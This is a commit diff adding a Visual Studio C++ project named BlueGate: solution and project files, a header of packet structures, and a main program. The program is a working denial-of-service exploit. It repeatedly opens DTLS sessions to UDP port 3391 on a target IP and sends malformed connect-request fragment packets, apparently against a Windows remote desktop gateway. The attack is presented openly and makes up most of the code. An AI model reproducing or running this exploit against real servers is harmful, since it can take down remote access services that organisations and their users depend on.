BlueGate

ly4k · Jan 23, 2020 · 62416fc · 62416fc
commit 62416fc
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diff --git a/BlueGate.sln b/BlueGate.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.29201.188
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BlueGate", "BlueGate\BlueGate.vcxproj", "{9178613D-52C7-4876-BBAD-F93C3784D79C}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|x64 = Debug|x64
+		Debug|x86 = Debug|x86
+		Release|x64 = Release|x64
+		Release|x86 = Release|x86
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.ActiveCfg = Debug|x64
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x64.Build.0 = Debug|x64
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.ActiveCfg = Debug|Win32
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Debug|x86.Build.0 = Debug|Win32
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.ActiveCfg = Release|x64
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x64.Build.0 = Release|x64
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.ActiveCfg = Release|Win32
+		{9178613D-52C7-4876-BBAD-F93C3784D79C}.Release|x86.Build.0 = Release|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+	GlobalSection(ExtensibilityGlobals) = postSolution
+		SolutionGuid = {D97BA022-3382-44A0-BD63-569535F8193A}
+	EndGlobalSection
+EndGlobal
diff --git a/BlueGate/BlueGate.cpp b/BlueGate/BlueGate.cpp
@@ -0,0 +1,128 @@
+#include "BlueGate.h"
+
+void error(const char* msg)
+{
+	printf("ERROR: %s\n", msg);
+	exit(EXIT_FAILURE);
+}
+
+void SOCKInit()
+{
+	WSADATA wsaData;
+	int res;
+
+	res = WSAStartup(MAKEWORD(2, 2), &wsaData);
+
+	if (res != 0)
+		error("WSAStartup failed");
+}
+
+void DTLSInit()
+{
+	SSL_library_init();
+	SSL_load_error_strings();
+	ERR_load_BIO_strings();
+	OpenSSL_add_all_algorithms();
+}
+
+int OpenUDPConnection(const char* hostname, int port)
+{
+	int sockfd;
+	sockaddr_in addr;
+
+	sockfd = socket(AF_INET, SOCK_DGRAM, 0);
+
+	if (sockfd < 0)
+		error("Failed to open socket");
+
+	addr.sin_family = AF_INET;
+	addr.sin_port = htons(port);
+
+	inet_pton(AF_INET, hostname, &(addr.sin_addr));
+
+	if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
+	{
+		closesocket(sockfd);
+		error("Failed to connect socket");
+	}
+
+	return sockfd;
+}
+
+SSL* DTLSConnection(const char* hostname)
+{
+	int sockfd;
+	int result;
+	DTLSParams client;
+
+	sockfd = OpenUDPConnection(hostname, 3391);
+
+	client.ctx = SSL_CTX_new(DTLS_client_method());
+	client.bio = BIO_new_ssl_connect(client.ctx);
+
+	BIO_set_conn_hostname(client.bio, hostname);
+	BIO_get_ssl(client.bio, &(client.ssl));
+
+	SSL_set_connect_state(client.ssl);
+	SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);
+
+	SSL_set_fd(client.ssl, sockfd);
+
+	if (SSL_connect(client.ssl) != 1) {
+		return NULL;
+	}
+
+	return client.ssl;
+}
+
+int send_dos_packet(SSL* ssl, int id) {
+	CONNECT_PKT_FRAGMENT packet;
+
+	packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
+	packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
+	packet.usFragmentID = id;
+	packet.usNoOfFragments = id;
+	packet.cbFragmentLength = 1000;
+	memset(packet.fragment, 0x41, 1000);
+
+	char pkt[sizeof(packet)];
+	memcpy(&pkt, &packet, sizeof(packet));
+
+	return SSL_write(ssl, pkt, sizeof(pkt));
+}
+
+int main(int argc, char* argv[])
+{
+
+	SSL* ssl;
+	int i = 0;
+	char* hostname;
+
+	if (argc != 2) {
+		printf("Usage: %s <IP address>\n", argv[0]);
+		return 0;
+	}
+
+	hostname = argv[1];
+
+	SOCKInit();
+	DTLSInit();
+
+	while (i++ > -1) {
+		ssl = DTLSConnection(hostname);
+
+		if (ssl == NULL) {
+			break;
+		}
+
+		for (int n = 0; n < 4; n++) {
+			send_dos_packet(ssl, i+n);
+			printf("Sending packet [%u]\n", i + n);
+		}
+
+		i++;
+	}
+
+
+	return 0;
+}
diff --git a/BlueGate/BlueGate.h b/BlueGate/BlueGate.h
@@ -0,0 +1,55 @@
+#include <iostream>
+#include <WS2tcpip.h>
+
+#include <openssl/ssl.h>
+
+#define PKT_TYPE_CONNECT_REQ 1
+#define PKT_TYPE_CONNECT_RESP 2
+#define PKT_TYPE_PAYLOAD 3
+#define PKT_TYPE_DISCONNECT 4
+#define PKT_TYPE_CONNECT_REQ_FRAGMENT 5
+
+struct DTLSParams {
+	SSL_CTX* ctx;
+	SSL* ssl;
+	BIO* bio;
+};
+
+struct UDP_PACKET_HEADER {
+	USHORT pktID;
+	USHORT pktLen;
+};
+
+struct AASYNDATA {
+	USHORT uUpStreamMtu;
+	USHORT uDownStreamMtu;
+	DWORD fLossy;
+	DWORD snSendISN;
+};
+
+struct AASYNDATARESP {
+	USHORT uUpStreamMtu;
+	USHORT uDownStreamMtu;
+	DWORD snRecvISN;
+};
+
+struct CONNECT_PKT {
+	UDP_PACKET_HEADER hdr;
+	USHORT usPortNumber;
+	USHORT cbAuthnCookieLen;
+	AASYNDATA SynData;
+};
+
+struct CONNECT_PKT_RESP {
+	UDP_PACKET_HEADER hdr;
+	AASYNDATARESP SynResponse;
+	DWORD64 result;
+};
+
+struct CONNECT_PKT_FRAGMENT {
+	UDP_PACKET_HEADER hdr; // 4 bytes
+	USHORT usFragmentID; // 2 bytes
+	USHORT usNoOfFragments; // 2 bytes
+	USHORT cbFragmentLength; // 2 bytes
+	BYTE fragment[1000];  // 250 bytes
+};
diff --git a/BlueGate/BlueGate.vcxproj b/BlueGate/BlueGate.vcxproj
@@ -0,0 +1,168 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>16.0</VCProjectVersion>
+    <ProjectGuid>{9178613D-52C7-4876-BBAD-F93C3784D79C}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>BlueGate</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v142</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
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+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
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+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
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+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+    </ClCompile>
+    <Link>
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+      <GenerateDebugInformation>true</GenerateDebugInformation>
+    </Link>
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+    <ClCompile>
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+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <AdditionalIncludeDirectories>C:\Program Files\OpenSSL-Win64\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
+    </ClCompile>
+    <Link>
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+      <AdditionalDependencies>kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
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+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
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+    <Link>
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+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
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+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
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+    <Link>
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+      <OptimizeReferences>true</OptimizeReferences>
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+      <AdditionalLibraryDirectories>C:\Program Files\OpenSSL-Win64\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
+      <AdditionalDependencies>kernel32.lib;ws2_32.lib;crypt32.lib;libcrypto.lib;libssl.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
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+    <ClCompile Include="BlueGate.cpp" />
+  </ItemGroup>
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+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>